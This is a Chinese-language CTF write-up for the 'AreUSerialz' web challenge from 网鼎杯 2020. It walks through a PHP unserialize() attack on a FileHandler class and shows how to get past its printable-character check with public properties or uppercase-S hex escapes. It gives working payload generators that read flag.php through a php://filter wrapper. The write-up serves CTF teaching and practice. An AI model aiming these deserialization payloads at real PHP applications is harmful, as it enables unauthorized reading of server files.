当前位置: 首页 > news >正文

web:[网鼎杯 2020 青龙组]AreUSerialz

题目

点进题目发现

需要进行代码审计

function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}

这里有__destruct()函数,在对象销毁时自动调用,根据$op属性的值进行一些操作,并重置属性的值,后再次调用process()方法,同时该函数会根据op变量值的不同,会相应调用读写函数

即op=="1",进入write方法,op=="2"进入read方法进行处理

总体解题思路为,构造反序列化给str变量,当主函数进行反序列化时,调用了FileHandler类,读取flag.php

if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}

接收到名为str的get参数,参数会被反序列化,并创建一个对象,在反序列化之前,会使用is_valid()函数对字符串进行验证,传入的string要是可见字符串ascii值为32-125

这里要构造op=2,要联想至上面的destruct方法,当op=2时会自动执行魔术方法_destruct,绕过if($this->op==="2")这条强类型判断,2===“2”为假(左边为数字int,右边为字符串string),会执行process方法,2==“2”为真,执行read方法,读取文件

注意成员变量是protected属性,会在变名前加%00*%00,注意is_valid方法,%00的ascii码为0,无法通过检查,需要绕过

绕过方法:

1.php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

2.php的序列化字符串中只要把其中的s改成大写的S,后面的字符串就可以用十六进制表示

php伪协议进行读取

构造payload

<?phpclass FileHandler
{public $op = 2;public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
//伪协议转化为base64读取,php代码无法直接读取public $content;}
$A=new FileHandler();
$B=serialize($A);
echo $B;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

直接传参得不到flag

反序列化完的结果看似没有包含0,但实际上有ascii码为0的

这里需要对$B进行两次替换操作

  • 使用 str_replace() 函数将字符串中的空字符(ASCII 值为 0)替换为 \00
  • 使用 str_replace() 函数将字符串中的 "s:" 替换为 "S:"。

构造payload

<?phpclass FileHandler
{protected $op = 2;protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";protected $content;}
$A=new FileHandler();
$B=serialize($A);
$B = str_replace(chr(0), '\00', $B);
$B = str_replace('s:', 'S:', $B);
echo $B;
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

传参可得

查看源码

解码可得

参考文章链接:

https://www.cnblogs.com/akger/p/15137082.html

第二届网鼎杯(青龙组)部分wp-安全客 - 安全资讯平台

http://www.lryc.cn/news/211417.html

相关文章:

  • 【Python机器学习】零基础掌握PolynomialCountSketch内核近似特征
  • 【Linux】深入理解系统文件操作(1w字超详解)
  • echarts柱状图和折线图双图表配置项
  • 【LVS实战】02 搭建一个LVS-NAT实验
  • 2023.10.26-SQL测试题
  • JVM虚拟机:从结构到指令让你对栈有足够的认识
  • 【启发式算法】白鲸优化算法【附python实现代码】
  • 【Python机器学习】零基础掌握RBFSampler内核近似特征
  • 高级工技能等级认定---网络设备安全
  • spting Boot常见知识点
  • 大模型在数据分析场景下的能力评测
  • [笔记] 关于y1变量取名冲突的问题
  • js笔记(函数参数、面向对象、装饰器、高级函数、捕获异常)
  • Istio实战(八)- Istio 动态准入 Webhook 配置
  • Vue的安装
  • macOS M1安装wxPython报错
  • 【数据结构】交换排序
  • 腾讯云2023年双11服务器优惠活动及价格表
  • PointNet++复现、论文和代码研读
  • 轨迹规划 | 图解路径跟踪PID算法(附ROS C++/Python/Matlab仿真)
  • 吴恩达《机器学习》1-3:监督学习
  • Flutter PopupMenuButton下拉菜单
  • 国家数据局正式揭牌,数据专业融合型人才迎来发展良机【文末送书五本】
  • H5游戏源码分享-像素小鸟游戏(类似深海潜艇)
  • Vue 3 响应式对象:ref 和 reactive 的使用和区别
  • H5游戏源码分享-密室逃脱小游戏(考验反应能力)
  • 【LeetCode刷题-哈希】--706.设计哈希映射
  • 前端 : 用HTML ,CSS ,JS 做一个点名器
  • css:button实现el-radio效果
  • 算法工程师-机器学习-数据科学家面试准备4-ML系统设计